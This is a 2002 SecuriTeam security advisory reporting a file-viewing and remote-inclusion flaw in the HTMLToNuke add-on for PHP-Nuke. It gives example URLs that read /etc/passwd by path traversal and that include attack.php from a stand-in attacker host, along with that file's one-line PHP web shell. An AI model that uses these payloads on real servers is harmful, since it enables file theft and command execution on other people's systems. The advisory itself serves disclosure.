[UNIX] PHP-Nuke-Add-on Allows Viewing of Arbitrary Files (HTMLToNuke)

From: support@securiteam.com
Date: 02/06/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed,  6 Feb 2002 15:36:07 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  PHP-Nuke-Add-on Allows Viewing of Arbitrary Files (HTMLToNuke)
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SUMMARY

 
<http://www.toms-home.com/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=4&ttitle=HtmltoNuke> HTMLToNuke lets you re-use you old plain html and integrate it into your PHP Nuke site. A security vulnerability in the product allows attackers to view arbitrary files, and possibly execute arbitrary files.

DETAILS

Example:
http://www.example.com/htmltonuke.php?filnavn=../../../../etc/passwd

In newer versions where a check has been added to test for the existence
of '../' and similar characters, it is still possible to cause the program
to include external files, even ones that allow execution of commands. For
example:
http://www.example.com/htmltonuke.php?filnavn=http://attacker/attack.php&cmd=ls%20-al

Where attack.php contains:
<?php
system($cmd);
?>

ADDITIONAL INFORMATION

The information has been provided by <mailto:Admin@ZeroSecurity.de>
ZeroSecurity, digitalmouse, and <experts@securiteam.com> SecurITeam
Experts.

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